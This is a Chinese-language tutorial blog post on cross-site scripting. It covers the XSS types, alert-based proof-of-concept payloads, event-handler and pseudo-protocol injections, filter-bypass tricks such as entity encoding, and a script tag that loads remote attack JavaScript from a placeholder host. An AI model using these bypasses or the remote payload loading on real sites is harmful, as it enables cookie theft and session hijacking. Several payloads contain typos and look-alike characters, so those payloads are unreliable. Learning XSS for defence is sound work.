XSS漏洞

XSS漏洞

介绍

跨站脚本攻击(Cross Site Scripting)XSS,与CSS区分。主要是基于JS完成恶意的攻击行为

这个漏洞是发生在服务器,恶意代码是被攻击者在没有防备时在客户端浏览器被动触发的。模型如下,像微博,留言板,聊天室,等各种收集用户输入的地方都有可能被注入XSS代码,也就是说没有对用户的输入进行严格过滤,就会造成XSS漏洞

image-2023091aa7093853816

XSS危害

  • 盗取各种账号
  • 窃取cookie,冒充用户身份
  • 劫持用户会话,执行任意操作
  • 刷流量,执行弹窗广告
  • 传播蠕虫病毒

XSS漏洞验证

  • POC(proof of concept) 验证XSS

  • EXP 漏洞的完整利用工具

  • shellcode 利用漏洞时所执行的代码

  • payload 攻击载荷(sqlmap里是 攻击代码的模板)

常用XSS漏洞POC,也就是输入的内容可以原样返回到页面,没有对输入进行过滤,那就有XSS漏洞的风险

<script>alert(/xss/)<script>
<script>confirm('xss')<script>
<script>promt('xss')<script>

XSS漏洞类型

  • 反射型:非持久性,页面显示内容和输入的参数有关,只有输入特定内容才会显示特定攻击,比如某个input标签的值在另一个页面显示了,把POC写入到input的value参数里,这就是反射类型。如搜索某个内容,返回页会显示搜索的关键字是什么,以及对应结果列表。这个关键字内容在没有任何校验时就可能造成XSS漏洞
  • 存储型:发生在将页面内容提到数据库这种情况。比如留言板上写一些js代码,这样就注入到服务器了,其他人访问,可能都会受到这个XSS攻击
  • DOM型:修改浏览器本地的DOM树触发的

https://www.bilibili.com/video/BV1DF411K7ku/?spm_id_from=333.337.search-card.all.click&vd_source=a16ccffb81229e44f7cb98ece11dbf8e

image-20230917102206520

这样,其他人如果吧message改成

XSS漏洞构造

  • <>标签
  • 伪协议 如下,点击超链接,触发XSS
<a href="javascript:alert(/xss/)">www.xxx.xxx</a>
  • 事件触发
<input onkeyup="alert(/xss/)" type="button"/>
οnmοuseοver='alert(/xss/)'
οnkeydοwn="alert(/xss/)"   
onfocus
<img src="#" onerror="alert(/xss/)"">
  • 利用CSS跨站 (很古老)

几乎只有IE6下有,现在的浏览器基本都不会这样了

</div style="background-image:url(javascript:alert(/xss/))"/>

XSS过滤器绕过

  • html的大小写

html大小写不敏感

  • 引号的使用

HTML引号不敏感,但是有些过滤函数可能只含有一种

<img src="#" onerror="alert(/xss/)">
<img src='#' onerror=‘alert(/xss/)>
<img src=# onerror=alert(/xss/)>
  • 利用/代替空格
<img/src="#"/οnerrοr="alert(/xss/)">
  • 回车代替

这种回车的,输入框过滤也不会处理掉其中的换行和tab制表符,可以注入

image-20230917193010262
  • 标签属性值转
字母ASCII十进制十六进制
a97&#97&#x61
e101&#101&#x65
Tab&#9
enter&#10
<a herf="j&#97;vascript:alert(/xss/)">click me </a>
  • 拆分跨站

避免有长度检测

image-20230917193905761

XSS的shellcode调用

shellcode是利用漏洞所执行的代码,完整的XSS攻击会将shellcode存放在一定的地方,然后触发漏洞,调用shellcode

  • 远程调用JS

    直接通过 http协议加载远程的xss利用JS

<script src="http://xxx.xxx/xss.js"></script>
  • windows.location.hash

js中,windows.location.hash会获取打到url中#后面的内容

  • xss downloader
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值